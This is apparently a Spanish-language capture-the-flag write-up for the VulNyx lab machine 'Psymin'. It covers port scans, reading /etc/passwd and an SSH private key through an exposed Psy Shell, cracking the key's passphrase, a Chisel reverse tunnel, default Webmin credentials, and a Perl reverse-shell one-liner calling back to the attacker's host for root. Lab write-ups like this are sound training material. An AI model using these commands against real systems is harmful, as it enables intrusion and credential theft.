VulNyx - Psymin

logo

  • Sensitive Information Disclosure via Psy Shell (Information Leak - id_rsa)
  • Insecure Webmin Configuration (Default Credentials - via Chisel)
  • Webmin Command Execution (Privilege Escalation)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.36

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3000/tcp open  ppp     syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80,3000 172.0.100.36

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http       nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
3000/tcp open  landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP - TCP 80

nginx

HTTP - TCP 3000

Al visitar http://172.0.100.36:3000, el servidor responde con Psy Shell v0.12.4 en PHP 8.2.20, lo que indica que un intérprete interactivo de PHP está expuesto. La shell intenta interpretar las solicitudes HTTP como código PHP, generando errores de sintaxis.

3000

Tras analizar Psy Shell v0.12.4, identifico que es accesible a través de Netcat sin restricciones de acceso, lo que representa un riesgo de seguridad significativo.

❯ nc 172.0.100.36 3000
Psy Shell v0.12.4 (PHP 8.2.20 — cli) by Justin Hileman
New version is available at psysh.org/psysh (current: v0.12.4, latest: v0.12.8)
>

Ejecuto el comando help para ver las opciones disponibles.

help

Al ejecutar el comando edit, se abre el editor nano. Esto sugiere que podría usarse para leer archivos si se proporciona una ruta. Intentaré verificarlo intentando leer el /etc/passwd.

> edit /etc/passwd

passwd

Puedo leer /etc/passwd, pero noto que el editor nano no se muestra correctamente. Para solucionarlo, configuro el entorno de Psy Shell con putenv('TERM=xterm'), lo que restablece la visualización del terminal.

putenv

Ahora, al abrir nuevamente el archivo /etc/passwd, su contenido se visualizará correctamente en el editor.

passwd-ok

En el archivo /etc/passwd he identificado un usuario llamado alfred. Esto me lleva a explorar el directorio /home/alfred/.ssh/id_rsa para verificar si existe una clave privada asociada a ese usuario.

> edit /home/alfred/.ssh/id_rsa

rsa-ok

Copio la llave a mi equipo, le asigno permisos con chmod 600, pero al intentar conectarme, recibo el siguiente mensaje:

passhrase

Utilizo la herramienta RSAcrack para recuperar el passphrase de la clave privada y logro obtenerlo exitosamente.

rsacrack

Me conecto al sistema utilizando el passphrase obtenido de la clave privada.

system

Utilizo el comando ss para enumerar las conexiones internas y descubro que hay un servicio corriendo en el puerto 10000.

ssltun

Para investigar qué servicio está corriendo en el puerto 10000 interno, descargaré chisel en la máquina víctima y estableceré un túnel hacia mi máquina atacante, lo que me permitirá visualizar el servicio interno como si estuviera en mi máquina atacante.

Máquina Vítcima

alfred@psymin:~$ ./chisel client 172.0.100.25:9080 R:10000:127.0.0.1:10000

Máquina atacante

❯ ./chisel server -p 9080 --reverse

Una vez establecida la conexión con Chisel, abro el navegador y me dirijo a 127.0.0.1:10000, donde se muestra un panel de inicio de sesión de Webmin.

webmin

Introduzco las credenciales root/root y obtengo acceso al panel de administración de Webmin.

dashboard

Dejo un Netcat a la escucha, voy a la sección Tools y, en el menú desplegable, hago clic en Command Shell. A continuación, introduzco un one-liner en Perl para ejecutar una reverse shell.

commandShell

One-liner

perl -e 'use Socket;$i="172.0.100.25";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Al hacer clic en Execute Command, obtengo acceso como root.

root

Y así concluye el viaje en la máquina Psymin.

Que el destino te guíe.

Saludos.